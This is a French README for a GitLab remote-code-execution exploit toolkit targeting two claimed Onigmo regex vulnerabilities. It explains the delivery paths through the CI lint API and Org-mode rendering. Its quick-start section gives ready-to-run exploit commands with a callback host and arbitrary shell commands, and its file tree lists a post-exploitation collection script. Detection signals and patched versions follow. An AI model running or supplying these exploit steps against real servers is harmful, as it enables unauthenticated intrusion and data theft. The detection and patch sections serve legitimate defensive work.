Boîte à outils d'exploitation RCE GitLab Onigmo

CVE-2026-97229 + CVE-2026-110264 — Deux vulnérabilités RCE critiques (CVSS 10.0) non authentifiées dans GitLab CE/EE via un dépassement d'entier du moteur de regex Onigmo.

Tests autorisés uniquement. Chaque cible doit vous appartenir ou être couverte par une autorisation écrite.

Vulnérabilités

CVE	Vecteur	Affecté	Déclencheur	Authentification requise
CVE-2026-97229	Compilateur de regex CI/CD	19.2.0–19.4.1	GET /api/v4/projects/:id/ci/lint	Déclencheur non authentifié (accès en écriture pour la configuration)
CVE-2026-110264	Rendu Org-mode .org	7.0–19.5.0	Rendu d'un fichier .org malveillant	Aucun compte nécessaire

Architecture

Les deux CVE exploitent la même cause racine : dépassement d'entier du moteur de regex Onigmo → écriture hors limites (OOB write) → détournement de la VM → system(). La différence réside dans le chemin de livraison :

• CVE-2026-97229 : regex malveillante dans rules:exists:regexp du fichier .gitlab-ci.yml → API de lint CI
• CVE-2026-110264 : mot-clé #+TODO: malveillant dans un fichier .org → moteur de rendu Org-mode

Démarrage rapide

# CVE-2026-97229 — CI lint path
python3 exploit/cve97229.py --url http://target:8080 \
    --token glpat-xxx --callback-host YOUR_IP \
    --command 'id; hostname' --authorized --scope scope.txt

# CVE-2026-110264 — Org-mode path (no auth needed!)
python3 exploit/cve110264.py --url http://target:8080 \
    --callback-host YOUR_IP --command 'id'

# Probe only (no exploitation)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only

Arborescence du projet

exploit/
├── cve97229.py       # CI lint regex RCE (CVE-2026-97229)
├── cve110264.py      # Org-mode render RCE (CVE-2026-110264)
├── layout.py         # libruby.so offset derivation
├── common.py         # shared Onigmo payload + callback server
└── post/
    └── collect.sh    # post-exploitation collection
lab/
├── run.sh            # Docker lab launcher
└── stop.sh           # Lab cleanup
docs/
├── CVE-2026-97229.md # Technical analysis
└── CVE-2026-110264.md # Technical analysis

Détection

Triple signal pour les deux CVE :

1. Plantage du worker Puma : [BUG] Segmentation fault avec des trames org-ruby ou regexp_matcher.rb
2. Workhorse 502 : badgateway: failed to receive response: EOF
3. Contenu Git : quantificateurs fractionnés (?#), répétitions [[:word:]], chemins UTF-8 de 4 octets

Versions corrigées

CVE	Corrigée
CVE-2026-97229	19.2.8, 19.3.5, 19.4.2
CVE-2026-110264	18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1

Crédits

• joaxcar — découverte originale de CVE-2026-97229 (HackerOne)
• Rapid7 (Jonah Burgess) — analyse technique et PoC indépendant de CVE-2026-97229
• gandli — référence du framework de laboratoire pour CVE-2026-97229
• GitLab Security — règles de détection et avis de sécurité
• Technique d'exploitation de CVE-2026-110264 dérivée des notes de détection publiées par GitLab

Licence

MIT — pour des tests de sécurité autorisés uniquement.